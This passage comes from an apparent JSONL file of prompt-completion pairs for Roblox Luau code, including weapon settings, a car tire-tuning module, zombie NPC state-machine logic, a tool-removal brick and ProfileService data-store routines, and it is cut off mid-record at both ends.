]=----------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t TeamKill = false\t\t\t\t\t--- Enable TeamKill?\n\t,TeamDamageMultiplier = 1\t\t\t--- Between 0-1 | This will make you cause less damage if you hit your teammate\n\t\n\t,ReplicatedBullets = true\t\t\t--- Keep in mind that some bullets will pass through surfaces...\n\t\n\t,AntiBunnyHop = true\t\t\t\t--- Enable anti bunny hop system?\n\t,JumpCoolDown = 0.5\t\t\t\t\t--- Seconds before you can jump again\n\t,JumpPower = 55\t\t\t\t\t\t--- Jump power, default is 50\n\t\n\t,RealisticLaser = true\t\t\t\t--- True = Laser line is invisible\n\t,ReplicatedLaser = true\t\t\t\t\n\t,ReplicatedFlashlight = true\n\t\n\t,EnableRagdoll = true\t\t\t\t--- Enable ragdoll death?\n\t,TeamTags = false\t\t\t\t\t--- Aaaaaaa\n\t,HitmarkerSound = true\t\t\t\t--- GGWP MLG 360 NO SCOPE xD"} +{"prompt": "-- Bezier.new(x1, y1, x2, y2)\n-- @param numbers (x1, y1, x2, y2) The control points of your curve\n-- @returns function(t [b, c, d])\n--\t@param number t the time elapsed [0, d]\n--\t@param number b beginning value being interpolated (default = 0)\n--\t@param number c change in value being interpolated (equivalent to: ending - beginning) (default = 1)\n--\t@param number d duration interpolation is occurring over (default = 1)", "completion": "\n"} +{"prompt": "--!strict", "completion": "\n\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal ReplicatedFirst = game:GetService(\"ReplicatedFirst\")\nlocal Players = game:GetService(\"Players\")\n\nlocal Conf = require(ReplicatedFirst.Configurations.MainConfiguration)\n"} +{"prompt": "-- In radians the minimum accuracy penalty", "completion": "\nlocal MinSpread = 0.025"} +{"prompt": "--Constructor and destructor", "completion": "\nfunction draw_invincibility:New(holder)\n\t--Initialize meta reference\n\tlocal self = setmetatable({}, {__index = draw_invincibility})\n\n\t--Create model instance\n\tself.holder = holder\n\n\tself.invincibility = models:WaitForChild(\"Invincibility\"):clone()\n\tself.particles = self.invincibility:WaitForChild(\"RootPart\"):WaitForChild(\"Invincibility\"):GetChildren()\n\tself.invincibility.Parent = self.holder\n\n\t--Initialize state\n\tself.enabled = false\n\tself.hrp_cf = nil\n\tself.en_time = 0\n\tself.part_time = 0\n\tfor _,v in pairs(self.particles) do\n\t\tself.part_time = math.max(self.part_time, v.Lifetime.Max)\n\tend\n\n\treturn self\nend\n\nfunction draw_invincibility:Destroy()\n\t--Destroy model instance\n\tself.invincibility:Destroy()\nend\n"} +{"prompt": "--Tune", "completion": "\n\nlocal _Select = \"AllSeason\" --(AllSeason, Slicks, SemiSlicks, AllTerrain, DragRadials, Custom) Caps and space sensitive\n\nlocal _Custom = {\n\n\tTireWearOn = true ,\n\n --Friction and Wear\n FWearSpeed = .2 , --How fast your tires will degrade (Front)\n FTargetFriction = .72 , --Friction in optimal conditions (Front)\n FMinFriction = 0.45 , --Friction in worst conditions (Front)\n\n RWearSpeed = .2 , --How fast your tires will degrade (Rear)\n RTargetFriction = .80 , --Friction in optimal conditions (Rear)\n RMinFriction = 0.45 , --Friction in worst conditions (Rear)\n\n --Tire Slip\n TCSOffRatio = 1 , --How much optimal grip your car will lose with TCS off, set to 1 if you dont want any losses.\n WheelLockRatio = 1/6 , --How much grip your car will lose when locking the wheels\n WheelspinRatio = 1/1.2 , --How much grip your car will lose when spinning the wheels\n\n --Wheel Properties\n FFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) (PGS)\n RFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) (PGS)\n FLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front)\n RLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear)\n\n FElasticity = 0 , --How much your wheel will bounce (Front) (PGS)\n RElasticity = 0 , --How much your wheel will bounce (Rear) (PGS)\n FLgcyElasticity = 0 , --How much your wheel will bounce (Front)\n RLgcyElasticity = 0 , --How much your wheel will bounce (Rear)\n\n FElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) (PGS)\n RElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) (PGS)\n FLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front)\n RLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear)\n\n --Wear Regen\n RegenSpeed = 3.6\t\t, --Don't change this\n}\n\nlocal _AllSeason = {\n\n\tTireWearOn = true ,\n\n --Friction and Wear\n FWearSpeed = .2 , --Don't change this\n FTargetFriction = .61 , -- .58 to .63\n FMinFriction = 0.35 , --Don't change this\n\n RWearSpeed = .2 , --Don't change this\n RTargetFriction = .63 , -- .58 to .63\n RMinFriction = 0.35 , --Don't change this\n\n --Tire Slip\n TCSOffRatio = 1 , --Don't change this\n WheelLockRatio = 1/6 , --Don't change this\n WheelspinRatio = 1/1.2 , --Don't change this\n\n --Wheel Properties\n FFrictionWeight = 2 , --Don't change this\n RFrictionWeight = 2 , --Don't change this\n FLgcyFrWeight = 0 , --Don't change this\n RLgcyFrWeight = 0 , --Don't change this\n\n FElasticity = 0 , --Don't change this\n RElasticity = 0 , --Don't change this\n FLgcyElasticity = 0 , --Don't change this\n RLgcyElasticity = 0 , --Don't change this\n\n FElastWeight = 1 , --Don't change this\n RElastWeight = 1 , --Don't change this\n FLgcyElWeight = 10 , --Don't change this\n RLgcyElWeight = 10 , --Don't change this\n\n --Wear Regen\n RegenSpeed = 3.6\t\t, --Don't change this\n}\n\nlocal _Slicks = {\n\n\tTireWearOn = true ,\n\n --Friction and Wear\n FWearSpeed = .6 , --Don't change this\n FTargetFriction = .93 , -- .88 to .93\n FMinFriction = 0.35 , --Don't change this\n\n RWearSpeed = .6 , --Don't change this\n RTargetFriction = .93 , -- .88 to .93\n RMinFriction = 0.35 , --Don't change this\n\n --Tire Slip\n TCSOffRatio = 1 , --Don't change this\n WheelLockRatio = 1/6 , --Don't change this\n WheelspinRatio = 1/1.2 , --Don't change this\n\n --Wheel Properties\n FFrictionWeight = 0.6 , --Don't change this\n RFrictionWeight = 0.6 , --Don't change this\n FLgcyFrWeight = 0 , --Don't change this\n RLgcyFrWeight = 0 , --Don't change this\n\n FElasticity = 0 , --Don't change this\n RElasticity = 0 , --Don't change this\n FLgcyElasticity = 0 , --Don't change this\n RLgcyElasticity = 0 , --Don't change this\n\n FElastWeight = 1 , --Don't change this\n RElastWeight = 1 , --Don't change this\n FLgcyElWeight = 10 , --Don't change this\n RLgcyElWeight = 10 , --Don't change this\n\n --Wear Regen\n RegenSpeed = 3.6\t\t, --Don't change this\n}\n\nlocal _SemiSlicks = {\n\n\tTireWearOn = true ,\n\n --Friction and Wear\n FWearSpeed = .5 , --Don't change this\n FTargetFriction = .78 , -- .73 to .78\n FMinFriction = 0.35 , --Don't change this\n\n RWearSpeed = .5 , --Don't change this\n RTargetFriction = .78 , -- .73 to .78\n RMinFriction = 0.35 , --Don't change this\n\n --Tire Slip\n TCSOffRatio = 1 , --Don't change this\n WheelLockRatio = 1/6 , --Don't change this\n WheelspinRatio = 1/1.2 , --Don't change this\n\n --Wheel Properties\n FFrictionWeight = 0.6 , --Don't change this\n RFrictionWeight = 0.6 , --Don't change this\n FLgcyFrWeight = 0 , --Don't change this\n RLgcyFrWeight = 0 , --Don't change this\n\n FElasticity = 0 , --Don't change this\n RElasticity = 0 , --Don't change this\n FLgcyElasticity = 0 , --Don't change this\n RLgcyElasticity = 0 , --Don't change this\n\n FElastWeight = 1 , --Don't change this\n RElastWeight = 1 , --Don't change this\n FLgcyElWeight = 10 , --Don't change this\n RLgcyElWeight = 10 , --Don't change this\n\n --Wear Regen\n RegenSpeed = 3.6\t\t, --Don't change this\n}\n\nlocal _AllTerrain = {\n\n\tTireWearOn = true ,\n\n --Friction and Wear\n FWearSpeed = .3 , --Don't change this\n FTargetFriction = .5 , -- .48 to .53\n FMinFriction = 0.35 , --Don't change this\n\n RWearSpeed = .3 , --Don't change this\n RTargetFriction = .5 , -- .48 to .53\n RMinFriction = 0.35 , --Don't change this\n\n --Tire Slip\n TCSOffRatio = 1 , --Don't change this\n WheelLockRatio = 1/6 , --Don't change this\n WheelspinRatio = 1/1.2 , --Don't change this\n\n --Wheel Properties\n FFrictionWeight = 10 , --Don't change this\n RFrictionWeight = 10 , --Don't change this\n FLgcyFrWeight = 0 , --Don't change this\n RLgcyFrWeight = 0 , --Don't change this\n\n FElasticity = 0 , --Don't change this\n RElasticity = 0 , --Don't change this\n FLgcyElasticity = 0 , --Don't change this\n RLgcyElasticity = 0 , --Don't change this\n\n FElastWeight = 1 , --Don't change this\n RElastWeight = 1 , --Don't change this\n FLgcyElWeight = 10 , --Don't change this\n RLgcyElWeight = 10 , --Don't change this\n\n --Wear Regen\n RegenSpeed = 3.6\t\t, --Don't change this\n}\n\nlocal _DragRadials = {\n\n\tTireWearOn = true ,\n\n --Friction and Wear\n FWearSpeed = 30 , --Don't change this\n FTargetFriction = 1.2 , -- 1.18 to 1.23\n FMinFriction = 0.35 , --Don't change this\n\n RWearSpeed = 30 , --Don't change this\n RTargetFriction = 1.2 , -- 1.18 to 1.23\n RMinFriction = 0.35 , --Don't change this\n\n --Tire Slip\n TCSOffRatio = 1 , --Don't change this\n WheelLockRatio = 1/6 , --Don't change this\n WheelspinRatio = 1/1.2 , --Don't change this\n\n --Wheel Properties\n FFrictionWeight = 1 , --Don't change this\n RFrictionWeight = 1 , --Don't change this\n FLgcyFrWeight = 0 , --Don't change this\n RLgcyFrWeight = 0 , --Don't change this\n\n FElasticity = 0 , --Don't change this\n RElasticity = 0 , --Don't change this\n FLgcyElasticity = 0 , --Don't change this\n RLgcyElasticity = 0 , --Don't change this\n\n FElastWeight = 1 , --Don't change this\n RElastWeight = 1 , --Don't change this\n FLgcyElWeight = 10 , --Don't change this\n RLgcyElWeight = 10 , --Don't change this\n\n --Wear Regen\n RegenSpeed = 20\t\t, --Don't change this\n}\n\n\nlocal car = script.Parent.Parent.Car.Value\nlocal _Tune = require(car[\"A-Chassis Tune\"])\nlocal cValues = script.Parent.Parent:WaitForChild(\"Values\")\nlocal _WHEELTUNE = _AllSeason\n\nif _Select == \"DragRadials\" then\n\t_WHEELTUNE = _DragRadials\nelseif _Select == \"Custom\" then\n\t_WHEELTUNE = _Custom\nelseif _Select == \"AllTerrain\" then\n\t_WHEELTUNE = _AllTerrain\nelseif _Select == \"Slicks\" then\n\t_WHEELTUNE = _Slicks\nelseif _Select == \"SemiSlicks\" then\n\t_WHEELTUNE = _SemiSlicks\nelse\n\t_WHEELTUNE = _AllSeason\nend\n\ncar.DriveSeat.TireStats.Fwear.Value = _WHEELTUNE.FWearSpeed\ncar.DriveSeat.TireStats.Ffriction.Value = _WHEELTUNE.FTargetFriction\ncar.DriveSeat.TireStats.Fminfriction.Value = _WHEELTUNE.FMinFriction\ncar.DriveSeat.TireStats.Ffweight.Value = _WHEELTUNE.FFrictionWeight\n\t\t\ncar.DriveSeat.TireStats.Rwear.Value = _WHEELTUNE.RWearSpeed\ncar.DriveSeat.TireStats.Rfriction.Value = _WHEELTUNE.RTargetFriction\ncar.DriveSeat.TireStats.Rminfriction.Value = _WHEELTUNE.RMinFriction\ncar.DriveSeat.TireStats.Rfweight.Value = _WHEELTUNE.RFrictionWeight\n\ncar.DriveSeat.TireStats.TCS.Value = _WHEELTUNE.TCSOffRatio\ncar.DriveSeat.TireStats.Lock.Value = _WHEELTUNE.WheelLockRatio\ncar.DriveSeat.TireStats.Spin.Value = _WHEELTUNE.WheelspinRatio\ncar.DriveSeat.TireStats.Reg.Value = _WHEELTUNE.RegenSpeed\n"} +{"prompt": "--\tlocal AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration, \n--\t\tDamage, DamageCooldown", "completion": "\n\n\tlocal configTable = model.Configurations\n\tlocal configs = {}\n\tlocal function loadConfig(configName, defaultValue)\n\t\tif configTable:FindFirstChild(configName) then\n\t\t\tconfigs[configName] = configTable:FindFirstChild(configName).Value\n\t\telse\n\t\t\tconfigs[configName] = defaultValue\n\t\tend\n\tend\n\n\tloadConfig(\"AttackRange\", 3)\n\tloadConfig(\"FieldOfView\", 180)\n\tloadConfig(\"AggroRange\", 200)\n\tloadConfig(\"ChanceOfBoredom\", .5)\n\tloadConfig(\"BoredomDuration\", 10)\n\tloadConfig(\"Damage\", 10)\n\tloadConfig(\"DamageCooldown\", 1)\n\t\n\tlocal StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new()\n\tlocal PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new()\n\tlocal ZombieTarget = nil\t\n\tlocal ZombieTargetLastLocation = nil\n\t\n\tlocal lastBored = os.time()\t\n\t\n\t-- STATE DEFINITIONS\t\n\t\n\t-- IdleState: NPC stays still. Refreshes bored timer when started to\n\t-- allow for random state change\n\tlocal IdleState = StateMachine.NewState()\n\tIdleState.Name = \"Idle\"\n\tIdleState.Action = function()\n\tend\n\tIdleState.Init = function()\n\t\tlastBored = os.time()\n\tend\t\n\t\n\t-- SearchState: NPC wanders randomly increasing chance of spotting\n\t-- enemy. Refreshed bored timer when started to allow for random state\n\t-- change\n\tlocal SearchState = StateMachine.NewState()\n\tSearchState.Name = \"Search\"\n\tlocal lastmoved = os.time()\n\tlocal searchTarget = nil\n\tSearchState.Action = function()\n\t\t-- move to random spot nearby\n\t\tif model then\n\t\t\tlocal now = os.time()\n\t\t\tif now - lastmoved > 2 then\n\t\t\t\tlastmoved = now\n\t\t\t\tlocal xoff = math.random(5, 10)\n\t\t\t\tif math.random() > .5 then\n\t\t\t\t\txoff = xoff * -1\n\t\t\t\tend\n\t\t\t\tlocal zoff = math.random(5, 10)\n\t\t\t\tif math.random() > .5 then\n\t\t\t\t\tzoff = zoff * -1\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tlocal testtarg = AIUtilities:FindCloseEmptySpace(model)\n\t\t\t\t--if testtarg then print(testtarg) else print(\"could not find\") end\n\t\t\t\tsearchTarget = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)\n\t\t\t\t--local target = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)\n\t\t\t\t--model.Humanoid:MoveTo(target)\n\t\t\t\tsearchTarget = testtarg\n\t\t\tend\n\t\t\tif searchTarget then\n\t\t\t\tPathLib:MoveToTarget(model, searchTarget)\n\t\t\tend\n\t\tend\n\tend\n\tSearchState.Init = function()\n\t\tlastBored = os.time()\n\tend\n\t\n\t-- PursueState: Enemy has been spotted, need to give chase.\n\tlocal PursueState = StateMachine.NewState()\n\tPursueState.Name = \"Pursue\"\n\tPursueState.Action = function()\n\t\t-- Double check we still have target\n\t\tif ZombieTarget then\n\t\t\t-- Get distance to target\n\t\t\tlocal distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude\n\t\t\t-- If we're far from target use pathfinding to move. Otherwise just MoveTo\n\t\t\tif distance > configs[\"AttackRange\"] + 5 then\n\t\t\t\tPathLib:MoveToTarget(model, ZombieTarget.HumanoidRootPart.Position)\n\t\t\telse\n\t\t\t\tmodel.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)"} +{"prompt": "--[[\n\tStage implementation\n]]", "completion": "\n\nlocal Lobby = {}\nLobby.__index = Lobby\nLobby.PlayerAddedConnection = nil\n\nfunction Lobby.new(gameStageHandler)\n\tlocal self = setmetatable({\n\t\tgameStageHandler = gameStageHandler,\n\t}, Lobby)\n\n\treturn self\nend\n\nfunction Lobby:playerAdded(player)\n\t-- Load the character (behind the camera) so StarterGui replicates\n\tUtil.loadCharacter(player)\n\n\tplayer.DevComputerMovementMode = Enum.DevComputerMovementMode.Scriptable\n\tplayer.DevTouchMovementMode = Enum.DevTouchMovementMode.Scriptable\nend\n\nfunction Lobby:initialize()\n\tMatchmakingLobby.run()\nend\n\nfunction Lobby:destroy()\n\tself.PlayerAddedConnection:disconnect()\n\tself.PlayerAddedConnection = nil\nend\n"} +{"prompt": "-- These are customizeable criteria regarding exactly what is removed, and where it is removed from:", "completion": "\nRemoveTools = true\nRemoveHopperBins = true\nRemoveFromBackpack = true\nRemoveFromCharacter = true\nRemoveForceField = false\n\nscript.Parent.BrickColor = BrickColor.new(21)\n\nfunction getPlayer(humanoid)\n\tlocal players = game.Players:GetChildren()\n\tfor i = 1, #players do\n\t\tif (players[i].Character.Humanoid == humanoid) then return players[i] end\n\tend\n\treturn nil\nend\n\nfunction checkKeeper(player)\n\tfor i = 1,#keepers do\n\t\tif (keepers[i] == player.Name) then return true end\n\tend\n\treturn false\nend\n\nfunction RemoveWeapons(parent)\n\tlocal weapons = parent:GetChildren()\n\tfor i = 1,#weapons do\n\t\tif (weapons[i].className == \"Tool\") and (RemoveTools == true) then\n\t\t\tweapons[i]:remove()\n\t\t\tscript.Parent.BrickColor = BrickColor.new(22)\n\t\telseif (weapons[i].className == \"HopperBin\") and (RemoveHopperBins == true) then\n\t\t\tweapons[i]:remove()\n\t\t\tscript.Parent.BrickColor = BrickColor.new(22)\n\t\tend\n\tend\nend\n\nlocal debounce = false\n\nfunction onTouched(hit)\n\tlocal human = hit.Parent:findFirstChild(\"Humanoid\")\t\n\tif (human == nil) then return end\n\tlocal player = getPlayer(human)\n\tif (player == nil) then return end\n\n\tif (checkKeeper(player) == true) or (debounce == true) then return end\n\n\tdebounce = true\n\n\tif (RemoveFromBackpack == true) then\n\t\tlocal backpack = player.Backpack\n\t\tif (table.maxn(backpack:GetChildren()) > 0) then\n\t\t\tRemoveWeapons(backpack)\n\t\tend\n\tend\n\t\n\tif (RemoveFromCharacter == true) then\n\t\tRemoveWeapons(player.Character)\n\tend\n\t\n\tif (RemoveForceField == true) then\n\t\tlocal charparts = player.Character:GetChildren()\n\t\tfor i = 1,#charparts do\n\t\t\tif (charparts[i].className == \"ForceField\") then\n\t\t\t\tcharparts[i]:remove()\n\t\t\t\tscript.Parent.BrickColor = BrickColor.new(22)\n\t\t\tend\n\t\tend\n\tend\n\n\twait(0.5)\n\n\tscript.Parent.BrickColor = BrickColor.new(21)\n\tdebounce = false\nend\n\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "--WeldRec(P.Parent.Lights)", "completion": "\n\nfor _,v in pairs(weldedParts) do\n\tif v:IsA(\"BasePart\") then\n\t\tv.Anchored = false\n\tend\nend\n\nscript.Parent.Keyscreen.Fob.Value = script.Parent\nscript.Parent.CarModel.Value = script:FindFirstAncestor(\"DriveSeat\").Parent\nscript.Parent.Filter.Parent = script:FindFirstAncestor(\"DriveSeat\").Parent\nwait()\nscript.Parent.Parent = workspace\nwait()\nscript:Destroy()\n"} +{"prompt": "--[[\nupdate_settings = {\n\tExistingProfileHandle = function(latest_data),\n\tMissingProfileHandle = function(latest_data),\n\tEditProfile = function(lastest_data),\n}\n--]]", "completion": "\nlocal function StandardProfileUpdateAsyncDataStore(profile_store, profile_key, update_settings, is_user_mock, is_get_call, version) --> loaded_data, key_info\n\tlocal loaded_data, key_info\n\tlocal success, error_message = pcall(function()\n\t\tlocal transform_function = function(latest_data)\n\n\t\t\tlocal missing_profile = false\n\t\t\tlocal data_corrupted = false\n\t\t\tlocal global_updates_data = {0, {}}\n\n\t\t\tif latest_data == nil then\n\t\t\t\tmissing_profile = true\n\t\t\telseif type(latest_data) ~= \"table\" then\n\t\t\t\tmissing_profile = true\n\t\t\t\tdata_corrupted = true\n\t\t\tend\n\n\t\t\tif type(latest_data) == \"table\" then\n\t\t\t\t-- Case #1: Profile was loaded\n\t\t\t\tif type(latest_data.Data) == \"table\"\n\t\t\t\t\tand type(latest_data.MetaData) == \"table\"\n\t\t\t\t\tand type(latest_data.GlobalUpdates) == \"table\" then\n\n\t\t\t\t\tlatest_data.WasCorrupted = false -- Must be set to false if set previously\n\t\t\t\t\tglobal_updates_data = latest_data.GlobalUpdates\n\t\t\t\t\tif update_settings.ExistingProfileHandle ~= nil then\n\t\t\t\t\t\tupdate_settings.ExistingProfileHandle(latest_data)\n\t\t\t\t\tend\n\t\t\t\t\t-- Case #2: Profile was not loaded but GlobalUpdate data exists\n\t\t\t\telseif latest_data.Data == nil\n\t\t\t\t\tand latest_data.MetaData == nil\n\t\t\t\t\tand type(latest_data.GlobalUpdates) == \"table\" then\n\n\t\t\t\t\tlatest_data.WasCorrupted = false -- Must be set to false if set previously\n\t\t\t\t\tglobal_updates_data = latest_data.GlobalUpdates or global_updates_data\n\t\t\t\t\tmissing_profile = true\n\t\t\t\telse\n\t\t\t\t\tmissing_profile = true\n\t\t\t\t\tdata_corrupted = true\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t-- Case #3: Profile was not created or corrupted and no GlobalUpdate data exists\n\t\t\tif missing_profile == true then\n\t\t\t\tlatest_data = {\n\t\t\t\t\t-- Data = nil,\n\t\t\t\t\t-- MetaData = nil,\n\t\t\t\t\tGlobalUpdates = global_updates_data,\n\t\t\t\t}\n\t\t\t\tif update_settings.MissingProfileHandle ~= nil then\n\t\t\t\t\tupdate_settings.MissingProfileHandle(latest_data)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\t-- Editing profile:\n\t\t\tif update_settings.EditProfile ~= nil then\n\t\t\t\tupdate_settings.EditProfile(latest_data)\n\t\t\tend\n\n\t\t\t-- Data corruption handling (Silently override with empty profile) (Also run Case #1)\n\t\t\tif data_corrupted == true then\n\t\t\t\tlatest_data.WasCorrupted = true -- Temporary tag that will be removed on first save\n\t\t\tend\n\n\t\t\treturn latest_data, latest_data.UserIds, latest_data.RobloxMetaData\n\t\tend\n\t\tif is_user_mock == true then -- Used when the profile is accessed through ProfileStore.Mock\n\t\t\tloaded_data, key_info = MockUpdateAsync(UserMockDataStore, profile_store._profile_store_lookup, profile_key, transform_function, is_get_call)\n\t\t\ttask.wait() -- Simulate API call yield\n\t\telseif UseMockDataStore == true then -- Used when API access is disabled\n\t\t\tloaded_data, key_info = MockUpdateAsync(MockDataStore, profile_store._profile_store_lookup, profile_key, transform_function, is_get_call)\n\t\t\ttask.wait() -- Simulate API call yield\n\t\telse\n\t\t\tloaded_data, key_info = CustomWriteQueueAsync(\n\t\t\t\tfunction() -- Callback\n\t\t\t\t\tif is_get_call == true then\n\t\t\t\t\t\tlocal get_data, get_key_info\n\t\t\t\t\t\tif version ~= nil then\n\t\t\t\t\t\t\tlocal success, error_message = pcall(function()\n\t\t\t\t\t\t\t\tget_data, get_key_info = profile_store._global_data_store:GetVersionAsync(profile_key, version)\n\t\t\t\t\t\t\tend)\n\t\t\t\t\t\t\tif success == false and type(error_message) == \"string\" and string.find(error_message, \"not valid\") ~= nil then\n\t\t\t\t\t\t\t\twarn(\"[ProfileService]: Passed version argument is not valid; Traceback:\\n\" .. debug.traceback())\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tget_data, get_key_info = profile_store._global_data_store:GetAsync(profile_key)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tget_data = transform_function(get_data)\n\t\t\t\t\t\treturn get_data, get_key_info\n\t\t\t\t\telse\n\t\t\t\t\t\treturn profile_store._global_data_store:UpdateAsync(profile_key, transform_function)\n\t\t\t\t\tend\n\t\t\t\tend,\n\t\t\t\tprofile_store._profile_store_lookup, -- Store\n\t\t\t\tprofile_key -- Key\n\t\t\t)\n\t\tend\n\tend)\n\tif success == true and type(loaded_data) == \"table\" then\n\t\t-- Corruption handling:\n\t\tif loaded_data.WasCorrupted == true and is_get_call ~= true then\n\t\t\tRegisterCorruption(\n\t\t\t\tprofile_store._profile_store_name,\n\t\t\t\tprofile_store._profile_store_scope,\n\t\t\t\tprofile_key\n\t\t\t)\n\t\tend\n\t\t-- Return loaded_data:\n\t\treturn loaded_data, key_info\n\telse\n\t\tRegisterIssue(\n\t\t\t(error_message ~= nil) and error_message or \"Undefined error\",\n\t\t\tprofile_store._profile_store_name,\n\t\t\tprofile_store._profile_store_scope,\n\t\t\tprofile_key\n\t\t)\n\t\t-- Return nothing:\n\t\treturn nil\n\tend\nend\n\nlocal function RemoveProfileFromAutoSave(profile)\n\tlocal auto_save_index = table.find(AutoSaveList, profile)\n\tif auto_save_index ~= nil then\n\t\ttable.remove(AutoSaveList, auto_save_index)\n\t\tif auto_save_index < AutoSaveIndex then\n\t\t\tAutoSaveIndex = AutoSaveIndex - 1 -- Table contents were moved left before AutoSaveIndex so move AutoSaveIndex left as well\n\t\tend\n\t\tif AutoSaveList[AutoSaveIndex] == nil then -- AutoSaveIndex was at the end of the AutoSaveList - reset to 1\n\t\t\tAutoSaveIndex = 1\n\t\tend\n\tend\nend\n\nlocal function AddProfileToAutoSave(profile) -- Notice: Makes sure this profile isn't auto-saved too soon\n\t-- Add at AutoSaveIndex and move AutoSaveIndex right:\n\ttable.insert(AutoSaveList, AutoSaveIndex, profile)\n\tif #AutoSaveList > 1 then\n\t\tAutoSaveIndex = AutoSaveIndex + 1\n\telseif #AutoSaveList == 1 then\n\t\t-- First profile created - make sure it doesn't get immediately auto saved:\n\t\tLastAutoSave = os.clock()\n\tend\nend\n\nlocal function ReleaseProfileInternally(profile)\n\t-- 1) Remove profile object from ProfileService references: --\n\t-- Clear reference in ProfileStore:\n\tlocal profile_store = profile._profile_store\n\tlocal loaded_profiles = profile._is_user_mock == true and profile_store._mock_loaded_profiles or profile_store._loaded_profiles\n\tloaded_profiles[profile._profile_key] = nil\n\tif next(profile_store._loaded_profiles) == nil and next(profile_store._mock_loaded_profiles) == nil then -- ProfileStore has turned inactive\n\t\tlocal index = table.find(ActiveProfileStores, profile_store)\n\t\tif index ~= nil then\n\t\t\ttable.remove(ActiveProfileStores, index)\n\t\tend\n\tend\n\t-- Clear auto update reference:\n\tRemoveProfileFromAutoSave(profile)\n\t-- 2) Trigger release listeners: --\n\tlocal place_id\n\tlocal game_job_id\n\tlocal active_session = profile.MetaData.ActiveSession\n\tif active_session ~= nil then\n\t\tplace_id = active_session[1]\n\t\tgame_job_id = active_session[2]\n\tend\n\tprofile._release_listeners:Fire(place_id, game_job_id)\nend\n\nlocal function CheckForNewGlobalUpdates(profile, old_global_updates_data, new_global_updates_data)\n\tlocal global_updates_object = profile.GlobalUpdates -- [GlobalUpdates]\n\tlocal pending_update_lock = global_updates_object._pending_update_lock -- {update_id, ...}\n\tlocal pending_update_clear = global_updates_object._pending_update_clear -- {update_id, ...}\n\t-- \"old_\" or \"new_\" global_updates_data = {update_index, {{update_id, version_id, update_locked, update_data}, ...}}\n\tfor _, new_global_update in ipairs(new_global_updates_data[2]) do\n\t\t-- Find old global update with the same update_id:\n\t\tlocal old_global_update\n\t\tfor _, global_update in ipairs(old_global_updates_data[2]) do\n\t\t\tif global_update[1] == new_global_update[1] then\n\t\t\t\told_global_update = global_update\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\t-- A global update is new when it didn't exist before or its version_id or update_locked state changed:\n\t\tlocal is_new = false\n\t\tif old_global_update == nil or new_global_update[2] > old_global_update[2] or new_global_update[3] ~= old_global_update[3] then\n\t\t\tis_new = true\n\t\tend\n\t\tif is_new == true then\n\t\t\t-- Active global updates:\n\t\t\tif new_global_update[3] == false then\n\t\t\t\t-- Check if update is not pending to be locked: (Preventing firing new active update listeners more than necessary)\n\t\t\t\tlocal is_pending_lock = false\n\t\t\t\tfor _, update_id in ipairs(pending_update_lock) do\n\t\t\t\t\tif new_global_update[1] == update_id then\n\t\t\t\t\t\tis_pending_lock = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif is_pending_lock == false then\n\t\t\t\t\t-- Trigger new active update listeners:\n\t\t\t\t\tglobal_updates_object._new_active_update_listeners:Fire(new_global_update[1], new_global_update[4])\n\t\t\t\tend\n\t\t\tend\n\t\t\t-- Locked global updates:\n\t\t\tif new_global_update[3] == true then\n\t\t\t\t-- Check if update is not pending to be cleared: (Preventing firing new locked update listeners after marking a locked update for clearing)\n\t\t\t\tlocal is_pending_clear = false\n\t\t\t\tfor _, update_id in ipairs(pending_update_clear) do\n\t\t\t\t\tif new_global_update[1] == update_id then\n\t\t\t\t\t\tis_pending_clear = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif is_pending_clear == false then\n\t\t\t\t\t-- Trigger new locked update listeners:\n\n\t\t\t\t\tglobal_updates_object._new_locked_update_listeners:FireUntil(\n\t\t\t\t\t\tfunction()\n\t\t\t\t\t\t\t-- Check if listener marked the update to be cleared:\n\t\t\t\t\t\t\t-- Normally there should be only one listener per profile for new locked global updates, but\n\t\t\t\t\t\t\t-- in case several listeners are connected we will not trigger more listeners after one listener\n\t\t\t\t\t\t\t-- marks the locked global update to be cleared.\n\t\t\t\t\t\t\treturn table.find(pending_update_clear, new_global_update[1]) == nil\n\t\t\t\t\t\tend,\n\t\t\t\t\t\tnew_global_update[1], new_global_update[4]\n\t\t\t\t\t)\n\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal function SaveProfileAsync(profile, release_from_session, is_overwriting)\n\tif type(profile.Data) ~= \"table\" 